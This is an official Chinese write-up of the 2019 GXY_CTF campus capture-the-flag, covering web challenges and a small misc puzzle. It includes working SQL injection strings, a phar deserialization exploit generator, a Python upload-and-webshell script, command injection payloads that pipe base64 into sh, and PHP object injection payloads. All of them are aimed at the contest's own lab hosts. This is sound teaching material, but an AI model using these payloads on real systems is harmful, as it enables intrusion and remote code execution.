2019 GXY_CTF 官方 Write Up
2019 GXY_CTF 官方 Write Up
首先因为这个题目其实是校内招新赛,所以可能比较简单(ak的V&N师傅们tql),也有些师傅说部 分题目分数设计不太合理,作为主办方这些我们也进行了反思,希望下次能让师傅们满意(如果还有下 次的话233333),这次比赛大家快乐就完事儿了。现在比赛结束了,我们能做的也就是尽量吧wp整理 得完善一些,尽量让萌新们有所提高,顺便聊一聊比赛中出现的非预期情况。
WEB
BabySqli
- tags : 万能密码登陆,SQL注入
- 难度:入门
- 这个题目其实就是一个万能密码题,但是可能题目描述不太到位,有些大佬用sqlmap直接拖库 了,发现数据库里面没有flag,就以为要爆破md5,谢罪谢罪。
- 题目提示了用md5做哈希,fuzz可以知道admin是账号
- 题目过滤了小括号、or和=,没有过滤union,用union万能密码绕过即可
# username:
-1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' #
# password:
123
BabySqli 2
- tags : 宽字节注入,过滤0x,union select where置空
- 难度:简单
题目提示了支持中文,就可以想到宽字节,登陆之后发现有一个显示位,那拿flag的姿势就很多 了。
# 显示database # 由于0x被过滤,使用char()构造admin # 除了char()之外,看到有的师傅使用unhex()函数,原理相同 name=1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),database( )%23&pw=1 # 显示表名 # 双写绕过union select where等字段 name=%df%27%20uniunionon%20selselectect%201,char(97,100,109,105,110),group_c oncat(table_name)%20from%20information_schema.tables%20whwhereere%20table_sc hema%20=%20database()%23 # 显示f14g列名 # char()写入f14g,或者再使用宽字节也可以 name=%df%27%20uniunionon%20selselectect%201,char(97,100,109,105,110),group_c oncat(column_name)%20from%20information_schema.columns%20whwhereere%20table_ name%20=%20char(102,49,52,103)%23 # 拿到flag name=%df%27%20uniunionon%20selselectect%201,char(97,100,109,105,110),group_c oncat(327a6c4304ad5938eaf0efb6cc3e53dc)%20from%20f14g%23
- base64解码即可得到一堆歌词和flag23333
题外话:
- flag数据库里面放歌词是为了增加盲注成本,有的大佬可能有一些万能盲注脚本,怕改个参 数直接跑,还是希望师傅们具体问题具体分析,像这种脏数据多的可以用报错或者手工注
- 这题的数据库列名构造过,分别是id和flag的 md5 值,所以有的师傅用 updatexml 报错注入 只能得到第一个 md5 (因为 updatexml 返回最大长度就是32),顺便提一句,某些师傅的脑 洞是真的大,用 updatexml 只注出来一个列名以为这是个脑洞题,吧id的 md5 解出来之后, 愣是硬猜出来另一个列名是flag的 md5 ∑(っ°Д°;)っ
- (其实updatexml可以和substr配合,做到任意位读取)
- 本身这题跟sqli1一样啥都没有,纯白板的,但是考虑到怕师傅们做题太无聊,于是就加了个 动图给师傅们解解闷儿
- 赛后想了想,既然师傅们都习惯使用updatexml,不如把flag后几位调成特殊字符,让师傅 们猜不出来,还不知道哪里有问题,又能搞一波心态233333
报错注入payload:
# Author Y1ng # 爆数据库 http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1,database()),1) --+&pw=y1ng # Error: XPATH syntax error: 'web_sqli' # 查表名 http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seSELECTlect group_concat(table_name) from information_schema.tables whWHEREere table_schema=database() limit 0,1)),1) --+&pw=y1ng # Error: XPATH syntax error: 'f14g,user' # 查列名 http://172.21.4.12:10012/search.php? name=admin%df%27%20and%20updatexml(1,concat(1,%20(seSELECTlect%20group_conca t(column_name)%20from%20information_schema.columns%20wherWHEREe%20TABLE_NAME =char(102,49,52,103))),1)%20--+&pw=y1ng # Error: XPATH syntax error: 'b80bb7740288fda1f201890375a60c8f' # 查字段 http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 0,1),1),1) --+ &pw=y1ng # Error: XPATH syntax error: 'VGhlIGZpcnN0IG1hbiBuYW1lIHdhcyBr' # 查flag http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 22,1),1),1) --+ &pw=y1ng # Error: XPATH syntax error: 'R1hZe2cwT2Rfam9iMWltX3NvX3ZlZ2V0'
BabySqli 3
- tags : 弱口令登陆,filter读源码,phar反序列
- 难度:中等
- emmmm没错这题不是SQL注入,甚至都没有数据库233333
- 题目提示了绝对防御,在登录页查看源码可以看到 ,可以用Unicode解码得到鶸, 说明这是一个弱口令,并不是注入题
- 用弱口令字典可以跑出来,账号口令是admin/password,即可成功登陆
- 登陆发现是一个文件上传,简单操作后发现只能上传txt文件;然后发现url里有引用,猜测可能存 在LFI(Local File Include),使用filter协议可以看网站源码。
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ |
php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (ʹ▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" .
$this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>
- 审计源码得知上传操作是使用类来完成,在类中会判断上传文件是否合法,在销毁类的时候自动调用
__destruct
执行相关命令。因此可以用反序列化更改掉相关命令来达到任意命令执行。 - 可能有萌新会问,这个题目代码中没有 unserialize() 如何反序列化呢?其实这是一个phar的 feature, PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,既然是打包文件,就肯定 会对相应的class进行序列化存储,再在执行某些函数或者需要调用数据的时候自动反序列化,很 多函数都可以自动反序列化phar文件,常见的莫过于 file_get_contents() 和 file_put_contents() ,具体哪些函数受影响请参考 seaii 师傅的博客 https://paper.seebug.org/680/
- 此外,phar还有一个特点,无需特定的文件后缀,即使使用txt格式的后缀只要文件内容是phar的 格式即可被php识别为phar文件,可以利用这个feature上传txt文件构造反序列化。
- 理解了原理这题就非常简单,只要构造一个phar反序列化文件,将命令替换为getflag操作,再把 检查的token替换为服务器分发的,后控制文件名进行反序列化操作,达到任意命令执行的目 的。
exp:
# phar_gen.php # Author : imagin # 使用时请将上文中的对象代码粘贴到本代码之前 <?php @unlink("exp.phar"); $phar = new Phar("exp.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new Uploader(); $o->token = "GXYb4b627c1236f2c1b9463e18e0e7bfe30"; $o->cmd = "echo file_get_contents('./flag.php');"; $o->Filename = "phar://uploads/909c00f0b41f82ef8c579546b5ed765e/GXYb4b627c1236f2c1b9463e18e 0e7bfe30.txt"; $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("a", "a"); //添加要压缩的文件 $phar->stopBuffering(); ?>
- 控制url中的file字段即可实现任意命令执行:
非预期解:
直接上传php文件可还行
非预期造成的原因:
罪魁祸首:
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])
- emmm这个正则本意是匹配name里面的 data:// filter:// php:// 和 . ,为了代 码美观一点,所以在管道符旁边加了空格,就没注意这是在正则里面,然后正则匹配的 就是 0x20. (0x20表示空格),大佬也在wp里面吐槽了这件事。
- 所以大家以后写正则一定不要手贱啊
o(>_<)o
BabyUpload
- tags : 文件上传,条件竞争
- 难度 : 简单
- 一个简单的上传题,服务器隔三秒会删除 ./upload 文件夹的所有内容。
- 随便上传发现文件后缀ph被拦截, php3、phtml 都不能使,随便搞出来一个404得知是 apache 服 务器,可以使用 .htaccess 文件改变文件解析配置,使得服务器可以把jpg当做php解析,从而命 令执行;此外,服务器会检查文件内容是否包含 <? (可以fuzz出来),要使用 格式编写php代码。因此,本题上传 .htaccess 文件修改apache的解析,再把一句话 木马后缀改为jpg即可
普通青年解法:
上脚本,直接跑出来
# upload_exp.py # Author : imagin import requests url = "http://172.21.4.12:10011/" session = requests.session() htaccess = {'uploaded': ('.htaccess', "SetHandler application/x-httpd- php", 'image/jpeg')} res_hta = session.post(url, files = htaccess) files = {'uploaded': ('123.jpg', "<script language=\"php\">echo file_get_contents(\"/flag\");</script>", 'image/jpeg')} res_jpg = session.post(url, files = files) res_shell = session.post(url + res_jpg.text[-69:-22], data = {'a':'echo file_get_contents(\'/flag\');'}) print(res_shell.text)
文艺青年解法:
- 多线程脚本,别问,问就是多线程!
快乐青年解法:
- 条件竞争?没事儿我人多!
- 一个人负责传.htaccess ,一个人负责传exp.jpg ,最后一个老哥专门读flag 23333。手 速才是王道!
- 本来想放一个hint,给出删文件的脚本地址(群里有大佬一直在问是不是环境坏了),但是后来很 多大佬都做出来了就没放23333
Ping Ping Ping
- tags : 命令执行,过滤%00-%32,过滤特殊符号,过滤flag
- 难度 : 中等
- 这个题因为要ping一下,所以当并发量比较大的时候会卡,而且有的大佬报复性扫描,所以中间 重启了好几次(╯‵□′)╯︵┻━┻
- 这个题目首先过滤了符号,但是过滤不严格,可以使用管道符和;,因此可以使用这两个符号来拼 接命令;其次过滤了空格,可以使用$IFS$9来替代空格;后过滤了flag,这个过滤比较严格,具 体的正则是 .*f.*l.*a.*g.* ,可以通过 base64 来绕过,或者用变量名拼接绕过。
payload base64版本 :
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
payload bash版本 :
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
Do you know robots
- tags : 反序列化、robots协议
- 难度 : 简单
- 打开是一个无情的报菜名机器,题目提示 robots 协议,可以看到备份文件 index.php~ ,下载源 码
<?php
class FileReader{
public $Filename;
public $start;
public $max_length;
function __construct(){
$this->Filename = __DIR__ . "/bcm.txt";
$this->start = 12;
$this->max_length = 72;
}
function __wakeup(){
$this->Filename = __DIR__ . "/fake_f1ag.php";
$this->start = 10;
$this->max_length = 0;
}
function __destruct(){
$data = file_get_contents($this->Filename, 0, NULL, $this->start, $this-
>max_length);
if(preg_match("/\{|\}/", $data)){
die("you can't read flag!");
}
else{
echo $data;
}
}
}
if(isset($_GET['exp'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['exp'])){
die("hack!");
}
$exp = $_REQUEST['exp'];
$e = unserialize($exp);
echo $e->Filename;
}
else{
$exp = new FileReader();
}
?>
- 审源码可以得知这是个标准的反序列化题目,变量名都是public类型(注意如果是private类型需 要增加\0),主要功能是将文件上传和报菜名2333
- 网页使用 $\_GET 方法传参,但是会正则匹配 .?f.?l.?a.?g.? ,导致不可以读flag,但是仔细审计 就会发现问题,真正的 $exp 是接受的 $\_REQUEST['exp'] 的,针对这种使用 $\_REQUEST[] 接收 参数的代码,如果同时使用 get 和 post 两种方式传相同类型的参数,那么 post 的参数会覆盖掉 get 的参数,终 $\_REQUEST[] 接受的参数是 post 过来的
- 上面可能有些拗口,实际举个例子就是 url 传 ?a=1 ,同时用 post 发送 a=2 ,在服务器使用 $\_REQUEST['a'] 接受参数,后 $\_REQUEST['a'] 的值是2,大家可以自己动手做做实验。
- 此外, \_\_wakeup() 会在反序列化的时候自动调用,会复写掉文件,这时候就要请出 CVE-20167124 ,只要让成员属性数目大于实际数目时就可以绕过\_\_wakeup()方法因此我们可以构造
paylaod :
# get ?exp=1 # post exp=O:10:"FileReader":4: {s:8:"Filename";s:22:"/var/www/html/flag.php";s:5:"start";i:21;s:10:"max_len gth";i:17;}
禁止套娃!
- tags : .git 源码泄露, php 套娃命令执行
- 难度 : 中等
- 这是一道bytes的改编题,主要考察无参数的套娃命令执行
- 首先可以扫描目录,发现.git/文件夹,直接 githack 走一波搞源码
这个题目的主要矛盾在于搞定正则
(';' === preg_replace('/[a-z|\-]+\((?R)?\)/', NULL, $_GET['exp']))
- 这个正则的合法匹配是类似 a(b());这种无参数的命令套娃, pdsdt 师傅曾经总结过可以合法执 行的函数,大佬们可以看 http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/php_shell_ no_code/ (这次比赛 pdsdt 师傅也参加了,在这里膜一下)
之后访问一下 flag.php ,发现没有404,可以确定 flag 就在 flag.php 中,先使用 scandir() 查看当前目录情况,可以使用 pos(localeconv());构造一个 . 出来,用 print_r() 输出,即可 得到当前的目录文件情况。
可以看到 flag.php 在倒数第二个,后面的步骤就是如何读取到 flag.php ,首先我们知道 next() 函数可以读取数组中第二个元素,但是flag在倒数第二个,这时候用一个 array_reverse() 函数将数组翻转,再读取next即可读取到flag文件,后使用 show_source() 可以显示 php 代码,即可拿到flag。
完整的payload:
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
MISC
佛系青年
- tags : zip伪加密,偏僻的编码方式
- 难度 : 简单
下载压缩包,压缩包里面第一个文件是个表情包,其实是干扰项23333,第二个 fo.txt 需要使用 zip伪加密解出文件。
打开 fo.txt 发现是一堆佛语,看来本题的关键就在于参透佛祖的思想, google 一下佛曰,可以 联想到佛曰解码,上该网站即可解得flag
完整的WriteUp下载
完整的WP地址:http://suo.im/6rVkcI
图片备份:http://suo.im/64Cx7i
当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »